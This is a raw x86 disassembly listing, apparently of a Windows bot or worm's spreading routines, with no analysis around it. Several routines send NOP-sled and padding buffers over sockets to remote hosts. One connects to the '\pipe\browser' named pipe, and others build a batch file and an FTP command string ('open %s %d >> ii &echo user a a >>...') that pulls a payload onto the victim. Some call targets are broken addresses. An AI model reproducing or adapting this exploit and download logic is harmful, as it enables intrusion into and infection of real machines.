		test	al, al
		jz	short loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset dword_4467BC
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jnz	short loc_4256C2


loc_4256AE:				; CODE XREF: sub_4253C0+F3j
					; sub_4253C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226


loc_4256BE:				; CODE XREF: sub_4253C0+6Fj
					; sub_4253C0+85j
		xor	al, al
		jmp	short loc_4256EA
; ---------------------------------------------------------------------------


loc_4256C2:				; CODE XREF: sub_4253C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		push	esi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_4256EA:				; CODE XREF: sub_4253C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257F0	proc near		; CODE XREF: sub_40180Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_437B30
		mov	eax, dword_44691C
		mov	ecx, dword_446920
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_446910
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		nop
		call	sub_5F67AE
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_425835:				; CODE XREF: sub_4257F0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_425835
		mov	ecx, 18h
		mov	esi, offset dword_4461E0
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, dword_446237
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, dword_44623B
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, byte_44623F
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, word_510118
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	word_445EE0, ax
		jz	loc_4259E3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, dword_4465D4[edx*8]
		rep stosd
		mov	edi, offset loc_445E30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset loc_445E30
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, dword_446908
		mov	edi, offset loc_445E30
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset loc_445E30
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_42598F:				; CODE XREF: sub_4257F0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_42598F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_4259E3:				; CODE XREF: sub_4257F0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset loc_445E30
		rep stosd
		mov	edi, offset loc_445E30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, dword_4465D4
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_425A52:				; CODE XREF: sub_4257F0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, dword_511CA0
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425A96
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4257F0+297j
		mov	esi, dword_511CA4
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi	; recv
		push	0
		push	68h
		push	offset dword_446244
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ACC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425ACC:				; CODE XREF: sub_4257F0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi	; recv
		push	0
		push	0A0h
		push	offset dword_4462B0
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425AFF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_4257F0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi	; recv
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_425BE5
		mov	ecx, 1Ah
		mov	esi, offset dword_446468
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_4464D4
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_446548
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BAB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_4257F0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		call	near ptr 71AB615Ah
		nop
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BE5:				; CODE XREF: sub_4257F0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_446354
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_4463D4
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425C4C:				; CODE XREF: sub_4257F0+3E6j
					; sub_4257F0+44Dj
		push	12Ch
		call	near ptr 2840000h
		nop
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4013BB
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_4257F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_425DC0:				; CODE XREF: ___:00401DCAj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_425E26
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E26:				; CODE XREF: ___:00425E18j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E45
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E45:				; CODE XREF: ___:00425E37j
		mov	edi, dword_511CA0
		push	0
		push	89h
		push	offset dword_445FC8
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E6B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E6B:				; CODE XREF: ___:00425E5Dj
		mov	esi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_446054
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425EA0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EA0:				; CODE XREF: ___:00425E92j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_446100
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ECF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: ___:00425EC1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_425EFB
		dec	eax
		jz	short loc_425EF7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EF7:				; CODE XREF: ___:00425EE9j
		push	0
		jmp	short loc_425F2E
; ---------------------------------------------------------------------------


loc_425EFB:				; CODE XREF: ___:00425EE6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		test	al, al
		jz	short loc_425F2C
		mov	esi, 1
		jmp	short loc_425F5A
; ---------------------------------------------------------------------------


loc_425F2C:				; CODE XREF: ___:00425F23j
		push	1


loc_425F2E:				; CODE XREF: ___:00425EF9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_425F5A:				; CODE XREF: ___:00425F2Aj
		push	ebx
		call	near ptr 71AB9639h
		nop
		test	esi, esi
		jz	short loc_425F88
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425F88:				; CODE XREF: ___:00425F63j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426020:				; CODE XREF: ___:00401E51j
		push	edi
		push	0C8h
		nop
		call	near ptr 2840000h
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426070	proc near		; CODE XREF: sub_401A55j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		call	near ptr 71AB2BF4h
		nop
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4260D8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260D8:				; CODE XREF: sub_426070+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4260F8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260F8:				; CODE XREF: sub_426070+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		mov	ecx, offset byte_449521
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449521
		call	sub_4017EE
		mov	edx, dword_44965F
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401E10
		mov	ebx, dword_511AE4
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx	; _snprintf
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, dword_511CA0
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426187
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_426187:				; CODE XREF: sub_426070+108j
		push	1F4h
		nop
		call	near ptr 2840000h
		mov	ecx, offset byte_449521
		call	sub_4017EE
		push	eax
		push	offset aS_3	; "%s\r\n"
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx	; _snprintf
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4261DC
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4261DC:				; CODE XREF: sub_426070+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		nop
		call	near ptr 71AB615Ah
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_426070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426280:				; CODE XREF: ___:00402199j
		mov	eax, 1E88h
		call	sub_437B30
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_4469C4
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, dword_51011C
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, dword_446C3C
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_446974
		rep stosd
		mov	eax, dword_446C34
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_4469A4
		lea	edi, [esp+69Ch]
		mov	ax, word_446C30
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, dword_511AE4
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_446910
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi	; _snprintf
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_448F40
		push	offset byte_448F40
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_4382AA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4263A5
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263A5:				; CODE XREF: ___:00426397j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		call	near ptr 286040Bh
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4263EF
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263EF:				; CODE XREF: ___:004263E2j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_446928
		push	esi
		nop
		call	near ptr 2790000h
		test	eax, eax
		jnz	short loc_426427
		push	esi
		nop
		call	near ptr 2840881h
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426427:				; CODE XREF: ___:00426412j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jnz	short loc_426458
		push	esi
		nop
		call	near ptr 2840881h
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: ___:00426443j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401A55
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426520	proc near		; CODE XREF: sub_4013CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_426520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013CA
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_426585
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426585:				; CODE XREF: sub_426560+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_446C74
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_446CD8, ecx
		lea	ecx, [eax+1]
		mov	dword_446CF9, ecx
		lea	ecx, [eax+17h]
		mov	dword_446CF1, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_446D07, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CE8
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_446CEC
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CED
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_446CF1
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_446CF5
		mov	[ecx+8], esi
		mov	esi, dword_446CF9
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_446CFD
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266D0	proc near		; CODE XREF: sub_402180j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013CA
		push	eax
		call	sub_4017C6
		add	esp, 0Ch
		retn
sub_4266D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426700:				; CODE XREF: ___:0040173Fj
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402180
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_426723
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426723:				; CODE XREF: ___:0042671Bj
		cmp	eax, 0FFFFh
		jbe	short loc_426730
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
